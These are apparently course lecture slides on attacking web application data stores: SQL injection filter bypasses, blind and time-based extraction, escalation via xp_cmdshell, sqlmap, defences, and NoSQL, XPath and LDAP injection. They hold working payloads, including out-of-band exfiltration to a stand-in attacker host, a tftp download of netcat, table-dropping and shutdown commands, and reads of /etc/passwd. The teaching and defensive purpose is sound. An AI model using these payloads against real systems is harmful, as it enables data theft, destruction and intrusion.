


CNIT 129S: Securing Web Applications

Ch 9: Attacking Data Stores Part 2 of 2

Updated 3-16-22



Bypassing Filters

Avoiding Blocked Characters

- **To prevent injection, many apps remove or encode some characters**
- **A single quotation mark is not needed for injection into a numerical field**
- **You can also use string functions to dynamically construct a string containing filtered characters**

CHR or CHAR Function

- **These queries work on Oracle and MS-SQL, respectively**

```
select ename, sal from emp where ename='marcus':
```

```
SELECT ename, sal FROM emp where ename=CHR(109) || CHR(97) ||  
CHR(114) || CHR(99) || CHR(117) || CHR(115)
```

```
SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97)  
+CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)
```

Comment Symbol Blocked

- Code is

```
SELECT * from users WHERE name='uname'
```

- Try injecting this value for name:

```
' or 1=1 --
```

- To create

```
SELECT * from users WHERE name=' ' or 1=1 --'
```

- But the "--' is blocked

Crafting Correct Syntax Without a Comment

- **Injecting this value for name:**

' or 'a'='a

- **To create**

**SELECT * from users WHERE name=''
or 'a'='a'**

Circumventing Simple Validation

- **If "SELECT" is blocked, try these bypasses:**

`SeLeCt`

`%00SELECT`

`SELSELECTECT`

`%53%45%4c%45%43%54`

`%2553%2545%254c%2545%2543%2554`

Using SQL Comments

- **If spaces are blocked, use comments instead**

```
SELECT/*foo*/username,password/*foo*/FROM/*foo*/users
```

- **MySQL allows comments within keywords**

```
SEL/*foo*/ECT username,password FR/*foo*/OM users
```


Second-Order SQL Injection

- **Many applications handle data safely when it is first entered into the database**
- **But it may later be processed in unsafe ways**

App Adds a Second Quote

- **Register an account with this name:**

foo'

- **The correct way to insert that value is by adding a second quote (link Ch 2a)**

```
INSERT INTO users (username,  
password, ID, privs) VALUES  
( 'foo' ' ', 'secret', 2248, 1)
```

Password Change

- **Requires user to input old password, and compares it to the password retrieved with:**

```
SELECT password FROM users WHERE  
username = 'foo'
```

- **This is a syntax error.**

Exploit

- **Register a new user with this name:**

' or 1 in (SELECT password FROM users WHERE username = 'admin')--

- **Perform a password change, and MS-SQL will return this error, exposing the administrator password**

```
Microsoft OLE DB Provider for ODBC Drivers error  
'80040e07'
```

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax  
error converting the varchar value 'fme69' to a column of  
data type int.
```

HI, THIS IS
YOUR SON'S SCHOOL.
WE'RE HAVING SOME
COMPUTER TROUBLE.



OH, DEAR - DID HE
BREAK SOMETHING?

IN A WAY -)



DID YOU REALLY
NAME YOUR SON
Robert'); DROP
TABLE Students;-- ?



OH. YES. LITTLE
BOBBY TABLES,
WE CALL HIM.

WELL, WE'VE LOST THIS
YEAR'S STUDENT RECORDS.
I HOPE YOU'RE HAPPY.



AND I HOPE
YOU'VE LEARNED
TO SANITIZE YOUR
DATABASE INPUTS.

Advanced Exploitation

- **The previous attacks had a ready means of exposing data**
- **Adding UNION to a query that returns the results**
- **Returning data in an error message**
- **What if the results are not exposed?**

Denial of Service

- **This attack does not steal data**
- **It's merely destructive**
- **Turn off an MS-SQL database**
 - ' **shutdown--**
- **Drop table**
 - ' **drop table users--**

Retrieving Data as Numbers

- **No strings fields may be vulnerable, because single quotes are filtered**
- **Numeric fields are vulnerable, but only allow you to retrieve numerical values**
- **Use functions to convert characters to numbers**
 - `ASCII`, which returns the ASCII code for the input character
 - `SUBSTRING` (or `SUBSTR` in Oracle), which returns a substring of its input

These functions can be used together to extract a single character from a string in numeric form. For example:

`SUBSTRING('Admin' , 1 , 1)` returns A.

`ASCII('A')` returns 65.

Therefore:

`ASCII(SUBSTR('Admin' , 1 , 1))` returns 65.

Using an Out-of-Band Channel

- **You can inject a query but you can't see the results**
- **Some databases allow you to make a network connection inside the query language**

MS-SQL 2000 and Earlier

```
insert into openrowset('SQLOLEDB',  
'DRIVER={SQL  
Server};SERVER=mdattacker.net,80;UID=sa;PWD=letmein',  
'select * from foo') values (@@version)
```

Oracle

- **UTL_HTTP makes an HTTP request**

```
/employees.asp?EmpNo=7521' || UTL_HTTP.request('mdattacker.net:80/' ||  
(SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))--
```

- **Attacker can use a netcat listener**

```
C:\>nc -nLp 80  
GET /SYS HTTP/1.1  
Host: mdattacker.net  
Connection: close
```

Oracle

- **DNS request is even less likely to be blocked**

```
/employees.asp?EmpNo=7521' || UTL_INADDR.GET_HOST_NAME( (SELECT%20PASSWORD%  
20FROM%20DBA_USERS%20WHERE%20NAME='SYS') || '.mdattacker.net' )
```

This results in a DNS query to the mdattacker.net name server containing the sys user's password hash:

```
DCB748A5BC5390F2.mdattacker.net
```

MySQL

The `SELECT ... INTO OUTFILE` command can be used to direct the output from an arbitrary query into a file. The specified filename may contain a UNC path, enabling you to direct the output to a file on your own computer. For example:

```
select * into outfile '\\\\mdattacker.net\\share\\output.txt' from users;
```

- **To retrieve the file, set up an SMB share on your server**
- **Allowing anonymous write access**

Leveraging the Operating System

- **Sometimes you can get the ability to execute shell commands**
 - **Such as by using a PHP shell**
- **Then you can use built-in commands like**
 - **tftp, mail, telnet**
- **Or copy data into a file in the Web root so you can retrieve it with a browser**

Kahoot!

9b-1

Conditional Responses: "Blind SQL Injection"

- **Suppose your query doesn't return any data you can see, and**
- **You can't use an out-of-band channel to exfiltrate data**
- **You can still get data, if there's any detectable behavior by the database that depends on your query**

Example

```
SELECT * FROM users WHERE username = 'marcus' and  
password = 'secret'
```

- **Put in this text for username, and anything for password**

```
admin' --
```

- **You'll be logged in as admin**

True or False?

- **This username will log in as admin:**

admin' AND 1=1--

- **This one will not log in**

admin' AND 1=2--

Finding One Letter

- **This username will log in as admin:**

```
admin' AND ASCII(SUBSTRING('Admin',1,1)) = 65--
```

- **This one will not log in**

```
admin' AND ASCII(SUBSTRING('Admin',1,1)) = 66--
```

Inducing Conditional Errors

- **On an Oracle database, this query will produce an error if the account "DBSNMP" exists**
 - **If it doesn't, the "1/0" will never be evaluated and it won't cause an error**

```
SELECT 1/0 FROM dual WHERE (SELECT username FROM  
all_users WHERE username =  
'DBSNMP') = 'DBSNMP'
```

Does User "AAAAAA" Exist?

```
SELECT 1/0 FROM dual WHERE (SELECT  
username FROM all_users WHERE username =  
'AAAAAA') = 'AAAAAA'
```

Using Time Delays

- **MS-SQL has a built-in WAITFOR command**
- **This query waits for 5 seconds if the current database user is 'sa'**

```
if (select user) = 'sa' waitfor delay '0:0:5'
```

Conditional Delays

- **You can ask a yes/no question and get the answer from the delay**

```
if ASCII(SUBSTRING('Admin',1,1)) = 64 waitfor delay '0:0:5'  
if ASCII(SUBSTRING('Admin',1,1)) = 65 waitfor delay '0:0:5'
```


Testing Single Bits

- **Using bitwise AND operator &**
- **And the POWER command**

```
if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,0))) > 0 waitfor delay '0:0:5'
```

The following query performs the same test on the second bit:

```
if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,1))) > 0 waitfor delay '0:0:5'
```

MySQL Delays

- **Current versions have a sleep function**

```
select if(user() like 'root@%', sleep(5000), 'false')
```

- **For older versions (prior to 5.0.12), use benchmark to repeat a calculation many times**

```
select if(user() like 'root@%',  
benchmark(50000, sha1('test')), 'false')
```

Oracle

- **No function to cause a delay, but you can use `URL_HTTP` to connect to a non-existent server**
- **Causes a delay until the request times out**

```
SELECT 'a' || Utl_Http.request('http://madeupserver.com') from dual ...delay...  
ORA-29273: HTTP request failed  
ORA-06512: at "SYS.UTL_HTTP", line 1556  
ORA-12545: Connect failed because target host or object does not exist
```

Oracle

- **This query causes a timeout if the default Oracle account "DBSNMP" exists**

```
SELECT 'a' || Utl_Http.request('http://madeupserver.com') FROM dual WHERE  
(SELECT username FROM all_users WHERE username = 'DBSNMP') = 'DBSNMP'
```

Beyond SQL Injection: Escalating the Database Attack

Further Attacks

- **SQL injection lets you get the data in the database, but you can go further**
- **If database is shared by other applications, you may be able to access other application's data**
- **Or compromise the OS of the database server**
- **And then pivot: use the DB server to attack other servers from inside the network**

Further Attacks

- **Make network connections back out to your own computer, to exfiltrate data and evade IDS systems**
- **Extend database functionality by creating user-defined functions**
 - **You can reintroduce functionality that has been removed or disabled**
 - **This is possible if you get database administrator privileges**

MS-SQL

- **xp_cmdshell** stored procedure
- **Allows DBA (Database Administrator) to execute shell commands**

```
master..xp_cmdshell 'ipconfig > foo.txt'
```


MS-SQL

- **Other stored procedures also allow powerful attacks**
- **These read and write to the Registry**
 - `xp_regread`
 - `xp_regwrite`

Dealing with Default Lockdowns

- **MS-SQL 2005 and later disable xp_cmdshell by default, but you can just enable it if you are DBA**

```
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXECUTE sp_configure 'xp_cmdshell', '1'
RECONFIGURE WITH OVERRIDE
```

MySQL

- **load_file** allows attacker to read a file

```
select load_file('/etc/passwd')
```

- **"into outfile"** allows attacker to write to a file

- **This example makes all hosts trusted on Linux**

```
create table test (a varchar(200))
insert into test(a) values ('+ +')
select * from test into outfile '/etc/hosts.equiv'
```

SQL Exploitation Tools

Algorithm Used by Tools like SQLMAP

- Brute-force all parameters in the target request to locate SQL injection points.
- Determine the location of the vulnerable field within the back-end SQL query by appending various characters such as closing brackets, comment characters, and SQL keywords.
- Attempt to perform a UNION attack by brute-forcing the number of required columns and then identifying a column with the varchar data type, which can be used to return results.
- Inject custom queries to retrieve arbitrary data — if necessary, concatenating data from multiple columns into a string that can be retrieved through a single result of the varchar data type.
- If results cannot be retrieved using UNION, inject Boolean conditions (AND 1=1, AND 1=2, and so on) into the query to determine whether conditional responses can be used to retrieve data.
- If results cannot be retrieved by injecting conditional expressions, try using conditional time delays to retrieve data.

SQLMAP

```
root@kali:~# sqlmap -u http://attackdirect.samsclass.info/sqlol-raw/search-raw.php?q=a  
--dump
```

```
{1.0-dev-nongit-20161022}  
http://sqlmap.org
```

```
Database: sqlol
```

```
Table: ssn
```

```
[5 entries]
```

ssn	name
111-11-1111	Herp Derper
222-22-2222	SlapdeBack LovedeFace
333-33-3333	Wengdack Slobdegoob
444-44-4444	Chunk MacRunfast
555-55-5555	Peter Weiner

Kahoot!

9b-2

Preventing SQL Injection

Blocking Apostrophes

- **Won't stop injection into numerical fields**
- **If you allow apostrophes into data fields by doubling them, you can have second-order SQL injection vulnerabilities**

Stored Procedures

Stored Procedure Syntax

```
CREATE PROCEDURE procedure_name
AS
sql_statement
GO;
```

- **Makes code re-use easier**
- **But doesn't prevent SQL injection if user input is included in a parameter**

Stored Procedures

- **Developer defines a procedure**

```
exec sp_RegisterUser 'joe', 'secret'
```

- **Attacker can still inject with this password**

```
foo'; exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--
```

- **Resulting query**

```
exec sp_RegisterUser 'joe', 'foo'; exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--'
```

Parameterized Queries

- 1.** The application specifies the query's structure, leaving placeholders for each item of user input.
- 2.** The application specifies the contents of each placeholder.

Vulnerable Code

- **User input inserted into a command, which is parsed later to match quotes**

```
//define the query structure
String queryText = "select ename,sal from emp where ename ='";

//concatenate the user-supplied name
queryText += request.getParameter("name");
queryText += "'";

// execute the query
stmt = con.createStatement();
rs = stmt.executeQuery(queryText);
```

Parameterized Version

- **User input replaces placeholder "?"**
- **No parsing required, not vulnerable to SQLi**

```
//define the query structure
String queryText = "SELECT ename,sal FROM EMP WHERE ename = ?";

//prepare the statement through DB connection "con"
stmt = con.prepareStatement(queryText);

//add the user input to variable 1 (at the first ? placeholder)
stmt.setString(1, request.getParameter("name"));

// execute the query
rs = stmt.executeQuery();
```

Provisos

- **Use parameterized queries for EVERY query**
 - **Not just the ones that are obviously user-controllable**
- **Every item of data should be parameterized**
- **Be careful if user data changes table or column names**
 - **Allow only values from an allow-list of known safe values**
- **You cannot use parameter placeholders for other parts of the query, such as SORT BY ASC or SORT BY DESC**
 - **If they must be adjusted, use an allow-list**

Defense in Depth

- **Application should use low privileges when accessing the database, not DBA**
- **Remove or disable unnecessary functions of DB**
- **Apply vendor patches**
 - **Subscribe to vulnerability notification services to work around new, unpatchable vulnerabilities**

Injecting into NoSQL

NoSQL

- **Doesn't require structured data like SQL**
 - **in SQL, fields must be defined in a Schema, as Text, Number, etc.**
- **In NoSQL, keys and values can be arbitrarily defined**
- **A newer and less mature technology than SQL**

Here are some of the common query methods used by NoSQL data stores:

- Key/value lookup
- XPath (described later in this chapter)
- Programming languages such as JavaScript

Injecting into MongoDB

Example Login Code

```
$m = new Mongo();
$db = $m->cmsdb;
$collection = $db->user;
$js = "function() {
  return this.username == '$username' & this.password == '$password'; }";

$obj = $collection->findOne(array('$where' => $js));

if (isset($obj["uid"]))
{
    $logged_in=1;
}
else
{
    $logged_in=0;
}
```

Injection

- **Log in with this username, and any password**

Marcus' //

- **Javascript function becomes this:**

```
function() { return this.username == 'Marcus'//&
this.password == 'aaa'; }
```

Another Injection

- **Log in with this username, and any password**

```
a' || 1==1 || 'a'=='a
```

JavaScript interprets the various operators like this:

```
(this.username == 'a' || 1==1) || ('a'=='a' &  
this.password == 'aaa');
```

- **This is always true (link Ch 9b)**

Injecting into XPATH

```
<addressBook>
  <address>
    <firstName>William</firstName>
    <surname>Gates</surname>
    <password>MSRocks!</password>
    <email>billyg@microsoft.com</email>
    <ccard>5130 8190 3282 3515</ccard>
  </address>
  <address>
    <firstName>Chris</firstName>
    <surname>Dawes</surname>
    <password>secret</password>
    <email>cdawes@craftnet.de</email>
    <ccard>3981 2491 3242 3121</ccard>
  </address>
  <address>
    <firstName>James</firstName>
    <surname>Hunter</surname>
    <password>letmein</password>
    <email>james.hunter@pookmail.com</email>
    <ccard>8113 5320 8014 3313</ccard>
  </address>
</addressBook>
```

- **XML Data Store**

An XPath query to retrieve all e-mail addresses would look like this:

```
//address/email/text()
```

A query to return all the details of the user Dawes would look like this:

```
//address[surname/text()='Dawes']
```


Injection

- **This query retrieves a stored credit card number from a username and password**

```
//address[surname/text()='Dawes' and  
password/text()='secret']/ccard/text()
```

- **This injection:**

```
' or 'a'='a
```

results in the following XPath query, which retrieves the credit card details of all users:

```
//address[surname/text()='Dawes' and password/text()='  
or 'a'='a']/ccard/text()
```

Finding XPATH Injection Flaws

- **These strings usually break the syntax**

```
'  
'_--
```

- **These strings change behavior without breaking syntax**

```
' or 'a'='a  
' and 'a'='b  
or 1=1  
and 1=2
```

Preventing XPATH Injection

- **Filter inputs with a whitelist**
- **Remove these characters**

() = ' [] : , * / and all whitespace.

LDAP

- **Lightweight Directory Access Protocol (LDAP)**
- **Used to store names, phone numbers, email addresses, etc.**
- **Used in Microsoft Active Directory**
- **Also in OpenLDAP**

LDAP Queries

- **Match a username**

```
(username=daf)
```

- **Match any one of these conditions**

```
( | (cn=searchterm) (sn=searchterm) (ou=searchterm) )
```

- **Match all of these conditions**

```
(& (username=daf) (password=secret))
```

LDAP Injection Limitations

- **Possible, but less exploitable because usually:**
 - **Logical operators come before user-supplied data, so attacker can't form "or 1=1"**
 - **Directory attributes to be returned (like username) are hard-coded and can't be manipulated**
 - **Applications don't return informative error messages, so exploitation is "blind"**

Kahoot!

9b-3